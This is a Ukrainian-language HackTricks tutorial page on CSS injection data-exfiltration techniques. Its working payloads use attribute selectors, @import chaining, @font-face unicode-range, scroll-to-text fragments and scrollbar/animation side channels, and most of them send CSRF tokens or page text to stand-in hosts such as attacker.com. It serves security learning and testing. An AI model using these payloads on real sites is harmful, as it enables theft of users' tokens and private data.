CSS Injection

Reading time: 20 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

CSS Injection

Attribute Selector

CSS селектори створені для відповідності значенням атрибутів name та value елемента input. Якщо атрибут значення елемента введення починається з певного символу, завантажується попередньо визначений зовнішній ресурс:

css
input[name="csrf"][value^="a"] {
background-image: url(https://attacker.com/exfil/a);
}
input[name="csrf"][value^="b"] {
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name="csrf"][value^="9"] {
background-image: url(https://attacker.com/exfil/9);
}

Однак цей підхід стикається з обмеженням при роботі з прихованими елементами введення (type="hidden"), оскільки приховані елементи не завантажують фони.

Обхід для прихованих елементів

Щоб обійти це обмеження, ви можете націлитися на наступний сусідній елемент, використовуючи комбінацію сусідніх елементів ~. Правило CSS тоді застосовується до всіх сусідніх елементів, що йдуть після прихованого елемента введення, що призводить до завантаження фонової картинки:

css
input[name="csrf"][value^="csrF"] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}

Практичний приклад використання цієї техніки детально описаний у наданому фрагменті коду. Ви можете переглянути його тут.

Передумови для CSS-ін'єкції

Для того щоб техніка CSS-ін'єкції була ефективною, повинні бути виконані певні умови:

  1. Довжина Payload: Вектор CSS-ін'єкції повинен підтримувати достатньо довгі payload для розміщення створених селекторів.
  2. Повторна оцінка CSS: Ви повинні мати можливість оформити сторінку, що необхідно для виклику повторної оцінки CSS з новоствореними payload.
  3. Зовнішні ресурси: Техніка передбачає можливість використання зовнішньо розміщених зображень. Це може бути обмежено політикою безпеки контенту (CSP) сайту.

Сліпий селектор атрибутів

Як пояснено в цьому пості, можливо поєднати селектори :has та :not, щоб ідентифікувати контент навіть з сліпих елементів. Це дуже корисно, коли ви не знаєте, що знаходиться всередині веб-сторінки, що завантажує CSS-ін'єкцію.
Також можливо використовувати ці селектори для витягування інформації з кількох блоків одного типу, як у:

html
<style>
html:has(input[name^="m"]):not(input[name="mytoken"]) {
background: url(/m);
}
</style>
<input name="mytoken" value="1337" />
<input name="myname" value="gareth" />

Об'єднуючи це з наступною технікою @import, можливо ексфільтрувати багато інформації за допомогою CSS-ін'єкції з сліпих сторінок з blind-css-exfiltration.

@import

Попередня техніка має деякі недоліки, перевірте вимоги. Вам потрібно або надіслати кілька посилань жертві, або ви повинні мати можливість вставити в iframe сторінку, вразливу до CSS-ін'єкції.

Однак є ще одна хитра техніка, яка використовує CSS @import для покращення якості техніки.

Це вперше показав Pepe Vila і це працює так:

Замість того, щоб завантажувати одну й ту ж сторінку знову і знову з десятками різних payload'ів щоразу (як у попередньому випадку), ми будемо завантажувати сторінку лише один раз і лише з імпортом на сервер атакуючого (це payload, який потрібно надіслати жертві):

css
@import url("//attacker.com:5001/start?");
  1. Імпорт буде отримувати деякий CSS скрипт від атакуючих, і браузер завантажить його.
  2. Перша частина CSS скрипту, яку надішле атакуючий, буде іншим @import на сервер атакуючих знову.
  3. Сервер атакуючих поки що не відповість на цей запит, оскільки ми хочемо витікати деякі символи, а потім відповісти на цей імпорт з корисним навантаженням, щоб витікати наступні.
  4. Друга і більша частина корисного навантаження буде корисним навантаженням для витоку селектора атрибутів
  5. Це надішле на сервер атакуючих перший символ секрету та останній.
  6. Як тільки сервер атакуючих отримає перший і останній символ секрету, він відповість на імпорт, запитаний на етапі 2.
  7. Відповідь буде точно такою ж, як на етапах 2, 3 і 4, але цього разу вона спробує знайти другий символ секрету, а потім передостанній.

Атакуючий продовжить цей цикл, поки не зможе повністю витікати секрет.

Ви можете знайти оригінальний код Пепе Віли для експлуатації цього тут або ви можете знайти майже той же код, але з коментарями тут.

note

Скрипт намагатиметься виявити 2 символи щоразу (з початку і з кінця), оскільки селектор атрибутів дозволяє робити такі речі:

/* value^=  для відповідності початку значення*/
input[value^="0"] {
  --s0: url(http://localhost:5001/leak?pre=0);
}

/* value$=  для відповідності кінцю значення*/
input[value$="f"] {
  --e0: url(http://localhost:5001/leak?post=f);
}

Це дозволяє скрипту швидше витікати секрет.

warning

Іноді скрипт не виявляє правильно, що префікс + суфікс, що були виявлені, вже є повним флагом і продовжить вперед (в префіксі) і назад (в суфіксі), і в якийсь момент він зависне.
Не хвилюйтеся, просто перевірте вихідні дані, тому що ви можете побачити флаг там.

Інші селектори

Інші способи доступу до частин DOM з CSS селекторами:

  • .class-to-search:nth-child(2): Це буде шукати другий елемент з класом "class-to-search" в DOM.
  • :empty селектор: Використовується, наприклад, в цьому описі:
css
[role^="img"][aria-label="1"]:empty {
background-image: url("YOUR_SERVER_URL?1");
}

Посилання: CSS на основі атаки: Зловживання unicode-range @font-face, Error-Based XS-Search PoC від @terjanq

Загальна мета полягає в тому, щоб використовувати власний шрифт з контрольованої точки доступу і забезпечити, щоб текст (в даному випадку, 'A') відображався цим шрифтом лише в тому випадку, якщо вказаний ресурс (favicon.ico) не може бути завантажений.

html
<!DOCTYPE html>
<html>
<head>
<style>
@font-face {
font-family: poc;
src: url(http://attacker.com/?leak);
unicode-range: U+0041;
}

#poc0 {
font-family: "poc";
}
</style>
</head>
<body>
<object id="poc0" data="http://192.168.0.1/favicon.ico">A</object>
</body>
</html>
  1. Використання Користувацького Шрифту:
  • Користувацький шрифт визначається за допомогою правила @font-face в <style> тегу в секції <head>.
  • Шрифт називається poc і завантажується з зовнішнього кінцевого пункту (http://attacker.com/?leak).
  • Властивість unicode-range встановлена на U+0041, націлюючись на конкретний символ Юнікоду 'A'.
  1. Елемент Object з Резервним Текстом:
  • Створено <object> елемент з id="poc0" в секції <body>. Цей елемент намагається завантажити ресурс з http://192.168.0.1/favicon.ico.
  • font-family для цього елемента встановлено на 'poc', як визначено в секції <style>.
  • Якщо ресурс (favicon.ico) не вдається завантажити, резервний контент (літера 'A') всередині тегу <object> відображається.
  • Резервний контент ('A') буде відображено за допомогою користувацького шрифту poc, якщо зовнішній ресурс не може бути завантажено.

Стилізація Фрагмента Тексту для Прокрутки

Псевдоклас :target використовується для вибору елемента, на який націлений фрагмент URL, як зазначено в специфікації CSS Selectors Level 4. Важливо розуміти, що ::target-text не відповідає жодним елементам, якщо текст не націлений явно фрагментом.

Проблема безпеки виникає, коли зловмисники експлуатують функцію Scroll-to-text фрагмента, що дозволяє їм підтвердити наявність конкретного тексту на веб-сторінці, завантажуючи ресурс з їхнього сервера через HTML-ін'єкцію. Метод полягає в ін'єкції CSS правила, як це:

css
:target::before {
content: url(target.png);
}

У таких сценаріях, якщо текст "Administrator" присутній на сторінці, ресурс target.png запитується з сервера, що вказує на наявність тексту. Приклад цієї атаки можна виконати через спеціально підготовлене URL, яке вбудовує ін'єкційний CSS разом з фрагментом Scroll-to-text:

http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator

Тут атака маніпулює HTML-ін'єкцією для передачі CSS-коду, націлюючись на конкретний текст "Administrator" через фрагмент Scroll-to-text (#:~:text=Administrator). Якщо текст знайдено, вказаний ресурс завантажується, ненавмисно сигналізуючи про свою присутність атакуючому.

Для пом'якшення ризиків слід звернути увагу на такі пункти:

  1. Обмежене співвідношення STTF: Фрагмент Scroll-to-text (STTF) призначений для співвідношення лише слів або речень, тим самим обмежуючи його здатність витікати випадкові секрети або токени.
  2. Обмеження до верхнього рівня контекстів перегляду: STTF працює виключно в контекстах верхнього рівня перегляду і не функціонує в iframe, що робить будь-яку спробу експлуатації більш помітною для користувача.
  3. Необхідність активації користувачем: STTF вимагає жесту активації користувача для роботи, що означає, що експлуатації можливі лише через ініційовану користувачем навігацію. Ця вимога значно зменшує ризик автоматизації атак без взаємодії з користувачем. Проте автор блогу вказує на специфічні умови та обходи (наприклад, соціальна інженерія, взаємодія з поширеними розширеннями браузера), які можуть полегшити автоматизацію атаки.

Обізнаність про ці механізми та потенційні вразливості є ключовою для підтримки веб-безпеки та захисту від таких експлуатаційних тактик.

Для отримання додаткової інформації перегляньте оригінальний звіт: https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/

Ви можете перевірити експлойт, що використовує цю техніку для CTF тут.

@font-face / unicode-range

Ви можете вказати зовнішні шрифти для специфічних значень unicode, які будуть збиратися лише якщо ці значення unicode присутні на сторінці. Наприклад:

html
<style>
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?A); /* fetched */
unicode-range: U+0041;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?B); /* fetched too */
unicode-range: U+0042;
}
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?C); /* not fetched */
unicode-range: U+0043;
}
#sensitive-information {
font-family: poc;
}
</style>

<p id="sensitive-information">AB</p>
htm

Коли ви отримуєте доступ до цієї сторінки, Chrome і Firefox отримують "?A" і "?B", оскільки текстовий вузол чутливої інформації містить символи "A" і "B". Але Chrome і Firefox не отримують "?C", оскільки він не містить "C". Це означає, що ми змогли прочитати "A" і "B".

Витік текстового вузла (I): лігатури

Посилання: Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację

Описана техніка передбачає витягування тексту з вузла шляхом використання лігатур шрифтів і моніторингу змін ширини. Процес складається з кількох етапів:

  1. Створення кастомних шрифтів:
  • SVG шрифти створюються з гліфами, які мають атрибут horiz-adv-x, що встановлює велику ширину для гліфа, що представляє двосимвольну послідовність.
  • Приклад SVG гліфа: <glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>, де "XY" позначає двосимвольну послідовність.
  • Ці шрифти потім конвертуються у формат woff за допомогою fontforge.
  1. Виявлення змін ширини:
  • CSS використовується для забезпечення того, щоб текст не переносився (white-space: nowrap) і для налаштування стилю смуги прокрутки.
  • Поява горизонтальної смуги прокрутки, стилізованої особливим чином, слугує індикатором (оракулом) того, що певна лігатура, а отже, певна послідовність символів, присутня в тексті.
  • CSS, що використовується:
css
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://attacker.com/?leak);
}
  1. Процес експлуатації:
  • Крок 1: Створюються шрифти для пар символів з великою шириною.
  • Крок 2: Використовується трюк на основі смуги прокрутки для виявлення, коли великий гліф (лігатура для пари символів) відображається, що вказує на наявність послідовності символів.
  • Крок 3: Після виявлення лігатури генеруються нові гліфи, що представляють трисимвольні послідовності, включаючи виявлену пару та додаючи попередній або наступний символ.
  • Крок 4: Виявлення трисимвольної лігатури здійснюється.
  • Крок 5: Процес повторюється, поступово розкриваючи весь текст.
  1. Оптимізація:
  • Поточний метод ініціалізації за допомогою <meta refresh=... не є оптимальним.
  • Більш ефективний підхід може включати трюк CSS @import, що підвищує продуктивність експлуатації.

Витік текстового вузла (II): витік кодування з використанням шрифту за замовчуванням (не вимагає зовнішніх ресурсів)

Посилання: PoC using Comic Sans by @Cgvwzq & @Terjanq

Цей трюк був опублікований у цій тематичній гілці Slackers. Кодування, що використовується в текстовому вузлі, може бути витягнуто за допомогою шрифтів за замовчуванням, встановлених у браузері: зовнішні - або кастомні - шрифти не потрібні.

Концепція полягає у використанні анімації для поступового розширення ширини div, що дозволяє одному символу за раз переходити з частини тексту 'суфікс' до частини 'префікс'. Цей процес ефективно розділяє текст на дві секції:

  1. Префікс: Початкова лінія.
  2. Суфікс: Наступна лінія(і).

Стадії переходу символів виглядатимуть наступним чином:

C
ADB

CA
DB

CAD
B

CADB

Під час цього переходу використовується трюк unicode-range для виявлення кожного нового символу, коли він приєднується до префікса. Це досягається шляхом зміни шрифту на Comic Sans, який помітно вищий за шрифт за замовчуванням, внаслідок чого з'являється вертикальна смуга прокрутки. Поява цієї смуги прокрутки непрямо вказує на наявність нового символу в префіксі.

Хоча цей метод дозволяє виявляти унікальні символи, коли вони з'являються, він не вказує, який символ повторюється, лише те, що відбулася повторення.

note

В основному, unicode-range використовується для виявлення символу, але оскільки ми не хочемо завантажувати зовнішній шрифт, нам потрібно знайти інший спосіб.
Коли символ знайдено, йому надається попередньо встановлений шрифт Comic Sans, який збільшує символ і викликає смугу прокрутки, яка викриває знайдений символ.

Перевірте код, витягнутий з PoC:

css
/* comic sans is high (lol) and causes a vertical overflow */
@font-face {
font-family: has_A;
src: local("Comic Sans MS");
unicode-range: U+41;
font-style: monospace;
}
@font-face {
font-family: has_B;
src: local("Comic Sans MS");
unicode-range: U+42;
font-style: monospace;
}
@font-face {
font-family: has_C;
src: local("Comic Sans MS");
unicode-range: U+43;
font-style: monospace;
}
@font-face {
font-family: has_D;
src: local("Comic Sans MS");
unicode-range: U+44;
font-style: monospace;
}
@font-face {
font-family: has_E;
src: local("Comic Sans MS");
unicode-range: U+45;
font-style: monospace;
}
@font-face {
font-family: has_F;
src: local("Comic Sans MS");
unicode-range: U+46;
font-style: monospace;
}
@font-face {
font-family: has_G;
src: local("Comic Sans MS");
unicode-range: U+47;
font-style: monospace;
}
@font-face {
font-family: has_H;
src: local("Comic Sans MS");
unicode-range: U+48;
font-style: monospace;
}
@font-face {
font-family: has_I;
src: local("Comic Sans MS");
unicode-range: U+49;
font-style: monospace;
}
@font-face {
font-family: has_J;
src: local("Comic Sans MS");
unicode-range: U+4a;
font-style: monospace;
}
@font-face {
font-family: has_K;
src: local("Comic Sans MS");
unicode-range: U+4b;
font-style: monospace;
}
@font-face {
font-family: has_L;
src: local("Comic Sans MS");
unicode-range: U+4c;
font-style: monospace;
}
@font-face {
font-family: has_M;
src: local("Comic Sans MS");
unicode-range: U+4d;
font-style: monospace;
}
@font-face {
font-family: has_N;
src: local("Comic Sans MS");
unicode-range: U+4e;
font-style: monospace;
}
@font-face {
font-family: has_O;
src: local("Comic Sans MS");
unicode-range: U+4f;
font-style: monospace;
}
@font-face {
font-family: has_P;
src: local("Comic Sans MS");
unicode-range: U+50;
font-style: monospace;
}
@font-face {
font-family: has_Q;
src: local("Comic Sans MS");
unicode-range: U+51;
font-style: monospace;
}
@font-face {
font-family: has_R;
src: local("Comic Sans MS");
unicode-range: U+52;
font-style: monospace;
}
@font-face {
font-family: has_S;
src: local("Comic Sans MS");
unicode-range: U+53;
font-style: monospace;
}
@font-face {
font-family: has_T;
src: local("Comic Sans MS");
unicode-range: U+54;
font-style: monospace;
}
@font-face {
font-family: has_U;
src: local("Comic Sans MS");
unicode-range: U+55;
font-style: monospace;
}
@font-face {
font-family: has_V;
src: local("Comic Sans MS");
unicode-range: U+56;
font-style: monospace;
}
@font-face {
font-family: has_W;
src: local("Comic Sans MS");
unicode-range: U+57;
font-style: monospace;
}
@font-face {
font-family: has_X;
src: local("Comic Sans MS");
unicode-range: U+58;
font-style: monospace;
}
@font-face {
font-family: has_Y;
src: local("Comic Sans MS");
unicode-range: U+59;
font-style: monospace;
}
@font-face {
font-family: has_Z;
src: local("Comic Sans MS");
unicode-range: U+5a;
font-style: monospace;
}
@font-face {
font-family: has_0;
src: local("Comic Sans MS");
unicode-range: U+30;
font-style: monospace;
}
@font-face {
font-family: has_1;
src: local("Comic Sans MS");
unicode-range: U+31;
font-style: monospace;
}
@font-face {
font-family: has_2;
src: local("Comic Sans MS");
unicode-range: U+32;
font-style: monospace;
}
@font-face {
font-family: has_3;
src: local("Comic Sans MS");
unicode-range: U+33;
font-style: monospace;
}
@font-face {
font-family: has_4;
src: local("Comic Sans MS");
unicode-range: U+34;
font-style: monospace;
}
@font-face {
font-family: has_5;
src: local("Comic Sans MS");
unicode-range: U+35;
font-style: monospace;
}
@font-face {
font-family: has_6;
src: local("Comic Sans MS");
unicode-range: U+36;
font-style: monospace;
}
@font-face {
font-family: has_7;
src: local("Comic Sans MS");
unicode-range: U+37;
font-style: monospace;
}
@font-face {
font-family: has_8;
src: local("Comic Sans MS");
unicode-range: U+38;
font-style: monospace;
}
@font-face {
font-family: has_9;
src: local("Comic Sans MS");
unicode-range: U+39;
font-style: monospace;
}
@font-face {
font-family: rest;
src: local("Courier New");
font-style: monospace;
unicode-range: U+0-10FFFF;
}

div.leak {
overflow-y: auto; /* leak channel */
overflow-x: hidden; /* remove false positives */
height: 40px; /* comic sans capitals exceed this height */
font-size: 0px; /* make suffix invisible */
letter-spacing: 0px; /* separation */
word-break: break-all; /* small width split words in lines */
font-family: rest; /* default */
background: grey; /* default */
width: 0px; /* initial value */
animation: loop step-end 200s 0s, trychar step-end 2s 0s; /* animations: trychar duration must be 1/100th of loop duration */
animation-iteration-count: 1, infinite; /* single width iteration, repeat trychar one per width increase (or infinite) */
}

div.leak::first-line {
font-size: 30px; /* prefix is visible in first line */
text-transform: uppercase; /* only capital letters leak */
}

/* iterate over all chars */
@keyframes trychar {
0% {
font-family: rest;
} /* delay for width change */
5% {
font-family: has_A, rest;
--leak: url(?a);
}
6% {
font-family: rest;
}
10% {
font-family: has_B, rest;
--leak: url(?b);
}
11% {
font-family: rest;
}
15% {
font-family: has_C, rest;
--leak: url(?c);
}
16% {
font-family: rest;
}
20% {
font-family: has_D, rest;
--leak: url(?d);
}
21% {
font-family: rest;
}
25% {
font-family: has_E, rest;
--leak: url(?e);
}
26% {
font-family: rest;
}
30% {
font-family: has_F, rest;
--leak: url(?f);
}
31% {
font-family: rest;
}
35% {
font-family: has_G, rest;
--leak: url(?g);
}
36% {
font-family: rest;
}
40% {
font-family: has_H, rest;
--leak: url(?h);
}
41% {
font-family: rest;
}
45% {
font-family: has_I, rest;
--leak: url(?i);
}
46% {
font-family: rest;
}
50% {
font-family: has_J, rest;
--leak: url(?j);
}
51% {
font-family: rest;
}
55% {
font-family: has_K, rest;
--leak: url(?k);
}
56% {
font-family: rest;
}
60% {
font-family: has_L, rest;
--leak: url(?l);
}
61% {
font-family: rest;
}
65% {
font-family: has_M, rest;
--leak: url(?m);
}
66% {
font-family: rest;
}
70% {
font-family: has_N, rest;
--leak: url(?n);
}
71% {
font-family: rest;
}
75% {
font-family: has_O, rest;
--leak: url(?o);
}
76% {
font-family: rest;
}
80% {
font-family: has_P, rest;
--leak: url(?p);
}
81% {
font-family: rest;
}
85% {
font-family: has_Q, rest;
--leak: url(?q);
}
86% {
font-family: rest;
}
90% {
font-family: has_R, rest;
--leak: url(?r);
}
91% {
font-family: rest;
}
95% {
font-family: has_S, rest;
--leak: url(?s);
}
96% {
font-family: rest;
}
}

/* increase width char by char, i.e. add new char to prefix */
@keyframes loop {
0% {
width: 0px;
}
1% {
width: 20px;
}
2% {
width: 40px;
}
3% {
width: 60px;
}
4% {
width: 80px;
}
4% {
width: 100px;
}
5% {
width: 120px;
}
6% {
width: 140px;
}
7% {
width: 0px;
}
}

div::-webkit-scrollbar {
background: blue;
}

/* side-channel */
div::-webkit-scrollbar:vertical {
background: blue var(--leak);
}

Text node exfiltration (III): витік набору символів з використанням шрифту за замовчуванням шляхом приховування елементів (не вимагає зовнішніх ресурсів)

Reference: Це згадується як невдале рішення в цьому звіті

Цей випадок дуже схожий на попередній, однак у цьому випадку мета зробити конкретні символи більшими за інші, щоб приховати щось на кшталт кнопки, щоб її не натиснув бот, або зображення, яке не буде завантажено. Таким чином, ми могли б виміряти дію (або відсутність дії) і дізнатися, чи присутній конкретний символ у тексті.

Text node exfiltration (III): витік набору символів за допомогою таймінгу кешу (не вимагає зовнішніх ресурсів)

Reference: Це згадується як невдале рішення в цьому звіті

У цьому випадку ми могли б спробувати витікати, чи є символ у тексті, завантажуючи фейковий шрифт з того ж походження:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1);
unicode-range: U+0041;
}

Якщо є збіг, шрифт буде завантажено з /static/bootstrap.min.css?q=1. Хоча він не завантажиться успішно, браузер повинен його кешувати, і навіть якщо кешу немає, існує механізм 304 not modified, тому відповідь повинна бути швидшою за інші.

Однак, якщо різниця в часі між кешованою відповіддю та некешованою не є достатньо великою, це не буде корисно. Наприклад, автор зазначив: Однак, після тестування, я виявив, що перша проблема полягає в тому, що швидкість не дуже відрізняється, а друга проблема полягає в тому, що бот використовує прапорець disk-cache-size=1, що дійсно продумано.

Exfiltration текстових вузлів (III): витік кодування символів шляхом завантаження сотень локальних "шрифтів" (не вимагаючи зовнішніх ресурсів)

Посилання: Це згадується як невдале рішення в цьому звіті

У цьому випадку ви можете вказати CSS для завантаження сотень фальшивих шрифтів з того ж походження, коли відбувається збіг. Таким чином, ви можете виміряти час, який знадобиться, і дізнатися, чи з'являється символ чи ні, за допомогою чогось на кшталт:

css
@font-face {
font-family: "A1";
src: url(/static/bootstrap.min.css?q=1), url(/static/bootstrap.min.css?q=2),
.... url(/static/bootstrap.min.css?q=500);
unicode-range: U+0041;
}

А код бота виглядає так:

python
browser.get(url)
WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
time.sleep(30)

Отже, якщо шрифт не збігається, час відповіді при відвідуванні бота очікується приблизно 30 секунд. Однак, якщо є збіг шрифтів, буде надіслано кілька запитів для отримання шрифту, що призведе до постійної активності в мережі. Як наслідок, знадобиться більше часу для задоволення умови зупинки та отримання відповіді. Тому час відповіді можна використовувати як індикатор для визначення, чи є збіг шрифтів.

References

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks